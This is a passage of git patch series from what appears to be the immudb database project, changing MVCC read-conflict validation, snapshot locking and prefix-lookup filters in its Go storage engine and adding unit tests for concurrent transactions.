tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) require.NoError(t, err) _, _, err = engine.Exec("COMMIT;", nil, tx1) require.NoError(t, err) + _, _, err = engine.Exec("DELETE FROM table1 WHERE id > 2", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) + require.NoError(t, err) + _, _, err = engine.Exec("COMMIT;", nil, tx2) require.NoError(t, err) }) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index a838d64d15..f8320a426d 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -400,11 +400,9 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - /* - if tx.IsWriteOnly() || tx.snap.Ts() >= st.lastPrecommittedTxID() { - return nil - } - */ + if tx.IsWriteOnly() || tx.snap.Ts() >= st.lastPrecommittedTxID() { + return nil + } snap, err := st.unsafeSnapshot() if err != nil { From 355696eee82b6689ef5b5b0998fc9dd13e391ea7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 15 Dec 2022 08:36:42 -0300 Subject: [PATCH 0063/1062] chore(embedded/store): update ReadBetween Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 2 +- embedded/store/ongoing_tx_keyreader.go | 30 +++++++++++--------------- 2 files changed, 13 insertions(+), 19 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index f8320a426d..0bbbd56ca8 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -400,7 +400,7 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - if tx.IsWriteOnly() || tx.snap.Ts() >= st.lastPrecommittedTxID() { + if tx.IsWriteOnly() { return nil } diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 7dacdf264c..0da0639b07 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -20,8 +20,8 @@ import "errors" type expectedReader struct { spec KeyReaderSpec - expectedReads [][]expectedRead - i int + expectedReads [][]expectedRead // multiple []expectedRead may be generated if the reader is reset + i int // it matches with reset count, used to point to the latest []expectedRead } type expectedRead struct { @@ -29,7 +29,7 @@ type expectedRead struct { finalTxID uint64 expectedKey []byte - expectedTx uint64 + expectedTx uint64 // expectedTx = 0 means the entry was updated/created by the ongoing transaction expectedNoMoreEntries bool } @@ -127,6 +127,8 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b key, valRef, err := r.keyReader.ReadBetween(initialTxID, finalTxID) if errors.Is(err, ErrNoMoreEntries) { expectedRead := expectedRead{ + initialTxID: initialTxID, + finalTxID: finalTxID, expectedNoMoreEntries: true, } @@ -136,14 +138,15 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b return nil, nil, err } - if valRef.Tx() == 0 { - expectedRead := expectedRead{ - expectedKey: cp(key), - } - - r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + expectedRead := expectedRead{ + initialTxID: initialTxID, + finalTxID: finalTxID, + expectedKey: cp(key), + expectedTx: valRef.Tx(), } + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + filterEntry := false for _, filter := range r.expectedReader.spec.Filters { @@ -163,15 +166,6 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b continue } - if valRef.Tx() > 0 { - expectedRead := expectedRead{ - expectedKey: cp(key), - expectedTx: valRef.Tx(), - } - - r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) - } - return key, valRef, nil } } From e357c9f2e813bfbb55c5c921c7b74305c0c14bae Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 15 Dec 2022 08:46:38 -0300 Subject: [PATCH 0064/1062] chore(embedded/store): unify Read and ReadBetween Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx_keyreader.go | 52 +++++--------------------- 1 file changed, 9 insertions(+), 43 deletions(-) diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 0da0639b07..6bb4612b40 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -79,52 +79,17 @@ func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyRead } func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { - for { - key, valRef, err := r.keyReader.Read() - if errors.Is(err, ErrNoMoreEntries) { - expectedRead := expectedRead{ - expectedNoMoreEntries: true, - } - - r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) - } - if err != nil { - return nil, nil, err - } - - expectedRead := expectedRead{ - expectedKey: cp(key), - expectedTx: valRef.Tx(), - } - - r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) - - filterEntry := false - - for _, filter := range r.expectedReader.spec.Filters { - err = filter(valRef, r.tx.Timestamp()) - if err != nil { - filterEntry = true - break - } - } - - if filterEntry { - continue - } - - if r.skipped < r.offset { - r.skipped++ - continue - } - - return key, valRef, nil - } + return r.ReadBetween(0, 0) } -func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) { +func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, valRef ValueRef, err error) { for { - key, valRef, err := r.keyReader.ReadBetween(initialTxID, finalTxID) + if initialTxID == 0 && finalTxID == 0 { + key, valRef, err = r.keyReader.Read() + } else { + key, valRef, err = r.keyReader.ReadBetween(initialTxID, finalTxID) + } + if errors.Is(err, ErrNoMoreEntries) { expectedRead := expectedRead{ initialTxID: initialTxID, @@ -134,6 +99,7 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) } + if err != nil { return nil, nil, err } From 8c7ced52f0419e91b0b50938f4495e811c1ce6d8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 15 Dec 2022 11:44:18 -0300 Subject: [PATCH 0065/1062] test(embedded/sql): mvcc unit testing Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 783cca4dc7..ae467c7cc9 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5483,6 +5483,26 @@ func TestMVCC(t *testing.T) { require.NoError(t, err) }) + t.Run("read conflict should be detected when processing transactions with overlapping rows", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.ErrorIs(t, err, store.ErrTxReadConflict) + }) + t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) require.NoError(t, err) From 504fd12d90e77b0db891964821b608475e91cc86 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 15 Dec 2022 12:02:50 -0300 Subject: [PATCH 0066/1062] test(embedded/sql): test concurrent insertions Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 52 +++++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index ae467c7cc9..29a8e7b99d 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -23,6 +23,7 @@ import ( "fmt" "math" "strings" + "sync" "testing" "time" @@ -5612,3 +5613,54 @@ func TestMVCC(t *testing.T) { require.NoError(t, err) }) } + +func TestConcurrentInsertions(t *testing.T) { + workers := 10 + + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMaxConcurrency(workers)) + require.NoError(t, err) + t.Cleanup(func() { closeStore(t, st) }) + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + _, _, err = engine.Exec(` + CREATE DATABASE db1; + USE DATABASE db1; + CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id); + CREATE INDEX ON table1 (title); + `, nil, nil) + require.NoError(t, err) + + var wg sync.WaitGroup + wg.Add(workers) + + for i := 0; i < workers; i++ { + go func(i int) { + tx, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + if err != nil { + panic(err) + } + + _, _, err = engine.Exec( + "UPSERT INTO table1 (id, title, active, payload) VALUES (@id, 'title', true, x'00A1');", + map[string]interface{}{ + "id": i, + }, + tx, + ) + if err != nil { + panic(err) + } + + _, _, err = engine.Exec("COMMIT;", nil, tx) + if err != nil { + panic(err) + } + + wg.Done() + }(i) + } + + wg.Wait() +} From 86a39acadf4ac63214611f521b4a147509080ed1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 17 Dec 2022 17:25:07 -0300 Subject: [PATCH 0067/1062] chore(embedded/store): use syncSnapshot to validate ongoing txs Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 4 ++-- embedded/store/ongoing_tx.go | 4 ++-- embedded/tbtree/tbtree.go | 9 +++++++-- 3 files changed, 11 insertions(+), 6 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 43c53e8c49..bcf20e4480 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -759,8 +759,8 @@ func (s *ImmuStore) NewTxHolderPool(poolSize int, preallocated bool) (TxPool, er }) } -func (s *ImmuStore) unsafeSnapshot() (*Snapshot, error) { - snap, err := s.indexer.index.UnsafeSnapshot() +func (s *ImmuStore) syncSnapshot() (*Snapshot, error) { + snap, err := s.indexer.index.SyncSnapshot() if err != nil { return nil, err } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 0bbbd56ca8..75e386ddbf 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -404,11 +404,11 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { return nil } - snap, err := st.unsafeSnapshot() + snap, err := st.syncSnapshot() if err != nil { return err } - // defer snap.Close() <- TODO: snap, err := st.lockedSnapshot() + defer snap.Close() for _, e := range tx.expectedGetsWithFilters { valRef, err := snap.GetWithFilters(e.key, e.filters...) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 987bbe4bb5..2d4570a964 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1655,15 +1655,15 @@ func (t *TBtree) Ts() uint64 { return t.root.ts() } -func (t *TBtree) UnsafeSnapshot() (*Snapshot, error) { +func (t *TBtree) SyncSnapshot() (*Snapshot, error) { t.rwmutex.RLock() - defer t.rwmutex.RUnlock() if t.closed { return nil, ErrAlreadyClosed } return &Snapshot{ + id: math.MaxUint64, t: t, ts: t.root.ts(), root: t.root, @@ -1723,6 +1723,11 @@ func (t *TBtree) newSnapshot(snapshotID uint64, root node) *Snapshot { } func (t *TBtree) snapshotClosed(snapshot *Snapshot) error { + if snapshot.id == math.MaxUint64 { + t.rwmutex.RUnlock() + return nil + } + t.rwmutex.Lock() defer t.rwmutex.Unlock() From 3e53b6183478c43444a2908585bcc3b09c76ab76 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 11:30:44 -0300 Subject: [PATCH 0068/1062] chore(embedded/store): mvcc validation only if another tx was processed Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 75e386ddbf..2c359723f9 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -400,7 +400,7 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - if tx.IsWriteOnly() { + if tx.IsWriteOnly() || tx.snap.Ts() > st.lastPrecommittedTxID() { return nil } From 540a0f171a0a3a54e410169da6869a7aa6f14022 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 11:31:16 -0300 Subject: [PATCH 0069/1062] test(embedded/store): mvcc key reader validations Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 202 +++++++++++++++++++++++++++++++ 1 file changed, 202 insertions(+) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index e22e4768a5..02812361ec 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -3579,4 +3579,206 @@ func TestImmudbStoreMVCC(t *testing.T) { _, err = tx3.Commit() require.ErrorIs(t, err, ErrTxReadConflict) }) + + t.Run("read conflict should be detected when read keys have been updated by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + tx3, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx2.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + err = tx2.Set([]byte("key3"), nil, []byte("value3")) + require.NoError(t, err) + + err = tx2.Set([]byte("key4"), nil, []byte("value4")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + + err = tx3.Set([]byte("key2"), nil, []byte("value2_2")) + require.NoError(t, err) + + err = tx3.Set([]byte("key3"), nil, []byte("value3_2")) + require.NoError(t, err) + + r, err := tx3.NewKeyReader(KeyReaderSpec{ + Prefix: []byte("key"), + }) + require.NoError(t, err) + + for i := 1; i <= 4; i++ { + for j := 1; j <= i; j++ { + _, _, err = r.Read() + if errors.Is(err, ErrNoMoreEntries) { + break + } + } + + err = r.Reset() + require.NoError(t, err) + } + + err = r.Close() + require.NoError(t, err) + + _, err = tx3.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) + + t.Run("no read conflict should be detected when read keys have been updated by the ongoing transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + tx3, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx2.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + err = tx2.Set([]byte("key3"), nil, []byte("value3")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + + err = tx3.Set([]byte("key2"), nil, []byte("value2_2")) + require.NoError(t, err) + + err = tx3.Set([]byte("key3"), nil, []byte("value3_2")) + require.NoError(t, err) + + r, err := tx3.NewKeyReader(KeyReaderSpec{ + Prefix: []byte("key"), + }) + require.NoError(t, err) + + for i := 1; i <= 3; i++ { + for j := 1; j <= i; j++ { + _, _, err = r.Read() + if errors.Is(err, ErrNoMoreEntries) { + break + } + } + + err = r.Reset() + require.NoError(t, err) + } + + err = r.Close() + require.NoError(t, err) + + _, err = tx3.Commit() + require.NoError(t, err) + }) + + t.Run("read conflict should be detected when reading more entries than expected", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + tx3, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx2.Set([]byte("key5"), nil, []byte("value5")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + + r, err := tx3.NewKeyReader(KeyReaderSpec{ + Prefix: []byte("key"), + }) + require.NoError(t, err) + + for { + _, _, err = r.Read() + if errors.Is(err, ErrNoMoreEntries) { + break + } + } + + err = r.Close() + require.NoError(t, err) + + err = tx3.Set([]byte("key6"), nil, []byte("value6")) + require.NoError(t, err) + + _, err = tx3.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) + + t.Run("read conflict should be detected when read keys are deleted by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + tx3, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx2.Delete([]byte("key1")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + + r, err := tx3.NewKeyReader(KeyReaderSpec{ + Prefix: []byte("key"), + Filters: []FilterFn{IgnoreDeleted}, + }) + require.NoError(t, err) + + for { + _, _, err = r.Read() + if errors.Is(err, ErrNoMoreEntries) { + break + } + } + + err = r.Close() + require.NoError(t, err) + + err = tx3.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + _, err = tx3.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) } From 19f771cb70994d43c434f3339b8cfd2a2eca3b61 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 11:57:27 -0300 Subject: [PATCH 0070/1062] feat(embedded/store): GetWithPrefixAndFilters Signed-off-by: Jeronimo Irazabal --- embedded/store/key_reader.go | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 6686cf110e..7a6c69a1e2 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -111,6 +111,10 @@ func (s *Snapshot) GetWithFilters(key []byte, filters ...FilterFn) (valRef Value } func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { + return s.GetWithPrefixAndFilters(prefix, neq, IgnoreExpired, IgnoreDeleted) +} + +func (s *Snapshot) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { key, indexedVal, tx, hc, err := s.snap.GetWithPrefix(prefix, neq) if err != nil { return nil, nil, err @@ -121,6 +125,17 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef return nil, nil, err } + for _, filter := range filters { + if filter == nil { + return nil, nil, fmt.Errorf("%w: invalid filter function", ErrIllegalArguments) + } + + err = filter(valRef, s.ts) + if err != nil { + return nil, nil, err + } + } + if s.refInterceptor != nil { return key, s.refInterceptor(key, valRef), nil } From 6983aac2ceb8ea1a38b569db484f05e5c4de21b6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 11:58:09 -0300 Subject: [PATCH 0071/1062] test(embedded/store): unit testing GetWithPrefix Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 72 ++++++++++++++++++++++++++++++++ 1 file changed, 72 insertions(+) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 02812361ec..db03d23f45 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -3580,6 +3580,78 @@ func TestImmudbStoreMVCC(t *testing.T) { require.ErrorIs(t, err, ErrTxReadConflict) }) + t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + key, _, err := tx2.GetWithPrefix([]byte("key2"), nil) + require.NoError(t, err) + require.Equal(t, []byte("key2"), key) + + err = tx2.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + }) + + t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + key, _, err := tx2.GetWithPrefix([]byte("key"), nil) + require.NoError(t, err) + require.Equal(t, []byte("key1"), key) + + err = tx2.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) + + t.Run("read conflict should be detected when read key was deleted by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Delete([]byte("key1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + _, _, err = tx2.GetWithPrefix([]byte("key"), nil) + require.NoError(t, err) + require.Equal(t, []byte("key1"), []byte("key1")) + + err = tx2.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) + t.Run("read conflict should be detected when read keys have been updated by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx() require.NoError(t, err) From c53dc9edfad35d868529441bde0d7cc263b10b9c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Dec 2022 12:35:03 -0300 Subject: [PATCH 0072/1062] feat(embedded/store): expose GetWithPrefixAndFilters Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 26 ++++++++- embedded/store/ongoing_tx.go | 101 +++++++++++++++++++---------------- 2 files changed, 78 insertions(+), 49 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index bcf20e4480..74796a1808 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -720,6 +720,10 @@ func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef Valu } func (s *ImmuStore) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { + return s.GetWithPrefixAndFilters(prefix, neq, IgnoreExpired, IgnoreDeleted) +} + +func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { key, indexedVal, tx, hc, err := s.indexer.GetWithPrefix(prefix, neq) if err != nil { return nil, nil, err @@ -730,6 +734,19 @@ func (s *ImmuStore) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef return nil, nil, err } + now := time.Now() + + for _, filter := range filters { + if filter == nil { + return nil, nil, fmt.Errorf("%w: invalid filter function", ErrIllegalArguments) + } + + err = filter(valRef, now) + if err != nil { + return nil, nil, err + } + } + return key, valRef, nil } @@ -1636,6 +1653,7 @@ type KeyIndex interface { Get(key []byte) (valRef ValueRef, err error) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) + GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) } type unsafeIndex struct { @@ -1643,7 +1661,7 @@ type unsafeIndex struct { } func (index *unsafeIndex) Get(key []byte) (ValueRef, error) { - return index.GetWithFilters(key, IgnoreDeleted) + return index.GetWithFilters(key, IgnoreDeleted, IgnoreExpired) } func (index *unsafeIndex) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, error) { @@ -1651,7 +1669,11 @@ func (index *unsafeIndex) GetWithFilters(key []byte, filters ...FilterFn) (Value } func (index *unsafeIndex) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { - return index.st.GetWithPrefix(prefix, neq) + return index.st.GetWithPrefixAndFilters(prefix, neq, IgnoreDeleted, IgnoreExpired) +} + +func (index *unsafeIndex) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { + return index.st.GetWithPrefixAndFilters(prefix, neq, filters...) } func (s *ImmuStore) preCommitWith(callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) { diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 2c359723f9..7a5c66a816 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -35,9 +35,9 @@ type OngoingTx struct { preconditions []Precondition - expectedGetsWithFilters []expectedGetWithFilters - expectedGetsWithPrefix []expectedGetWithPrefix - expectedReaders []*expectedReader + expectedGets []expectedGet + expectedGetsWithPrefix []expectedGetWithPrefix + expectedReaders []*expectedReader metadata *TxMetadata @@ -46,7 +46,7 @@ type OngoingTx struct { closed bool } -type expectedGetWithFilters struct { +type expectedGet struct { key []byte filters []FilterFn expectedTx uint64 // 0 used denotes non-existence @@ -55,6 +55,7 @@ type expectedGetWithFilters struct { type expectedGetWithPrefix struct { prefix []byte neq []byte + filters []FilterFn expectedKey []byte expectedTx uint64 // 0 used denotes non-existence } @@ -234,43 +235,6 @@ func (tx *OngoingTx) AddPrecondition(c Precondition) error { return nil } -func (tx *OngoingTx) GetWithPrefix(prefix, neq []byte) (key []byte, valRef ValueRef, err error) { - if tx.closed { - return nil, nil, ErrAlreadyClosed - } - - if tx.IsWriteOnly() { - return nil, nil, ErrWriteOnlyTx - } - - key, valRef, err = tx.snap.GetWithPrefix(prefix, neq) - if errors.Is(err, ErrKeyNotFound) { - expectedGetWith := expectedGetWithPrefix{ - prefix: cp(prefix), - neq: cp(neq), - } - - tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWith) - } - if err != nil { - return nil, nil, err - } - - if valRef.Tx() > 0 { - // it only requires validation when the entry was pre-existent to ongoing tx - expectedGetWithPrefix := expectedGetWithPrefix{ - prefix: cp(prefix), - neq: cp(neq), - expectedKey: cp(key), - expectedTx: valRef.Tx(), - } - - tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWithPrefix) - } - - return key, valRef, nil -} - func (tx *OngoingTx) Delete(key []byte) error { valRef, err := tx.Get(key) if err != nil { @@ -303,12 +267,12 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, valRef, err := tx.snap.GetWithFilters(key, filters...) if errors.Is(err, ErrKeyNotFound) { - expectedGetWithFilters := expectedGetWithFilters{ + expectedGet := expectedGet{ key: cp(key), filters: filters, } - tx.expectedGetsWithFilters = append(tx.expectedGetsWithFilters, expectedGetWithFilters) + tx.expectedGets = append(tx.expectedGets, expectedGet) } if err != nil { return nil, err @@ -316,18 +280,61 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, if valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx - expectedGet := expectedGetWithFilters{ + expectedGet := expectedGet{ key: cp(key), filters: filters, expectedTx: valRef.Tx(), } - tx.expectedGetsWithFilters = append(tx.expectedGetsWithFilters, expectedGet) + tx.expectedGets = append(tx.expectedGets, expectedGet) } return valRef, nil } +func (tx *OngoingTx) GetWithPrefix(prefix, neq []byte) (key []byte, valRef ValueRef, err error) { + return tx.GetWithPrefixAndFilters(prefix, neq, IgnoreExpired, IgnoreDeleted) +} + +func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { + if tx.closed { + return nil, nil, ErrAlreadyClosed + } + + if tx.IsWriteOnly() { + return nil, nil, ErrWriteOnlyTx + } + + key, valRef, err = tx.snap.GetWithPrefixAndFilters(prefix, neq, filters...) + if errors.Is(err, ErrKeyNotFound) { + expectedGetWithPrefix := expectedGetWithPrefix{ + prefix: cp(prefix), + neq: cp(neq), + filters: filters, + } + + tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWithPrefix) + } + if err != nil { + return nil, nil, err + } + + if valRef.Tx() > 0 { + // it only requires validation when the entry was pre-existent to ongoing tx + expectedGetWithPrefix := expectedGetWithPrefix{ + prefix: cp(prefix), + neq: cp(neq), + filters: filters, + expectedKey: cp(key), + expectedTx: valRef.Tx(), + } + + tx.expectedGetsWithPrefix = append(tx.expectedGetsWithPrefix, expectedGetWithPrefix) + } + + return key, valRef, nil +} + func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { if tx.closed { return nil, ErrAlreadyClosed @@ -381,7 +388,7 @@ func (tx *OngoingTx) Cancel() error { func (tx *OngoingTx) hasPreconditions() bool { return len(tx.preconditions) > 0 || - len(tx.expectedGetsWithFilters) > 0 || + len(tx.expectedGets) > 0 || len(tx.expectedGetsWithPrefix) > 0 || len(tx.expectedReaders) > 0 } @@ 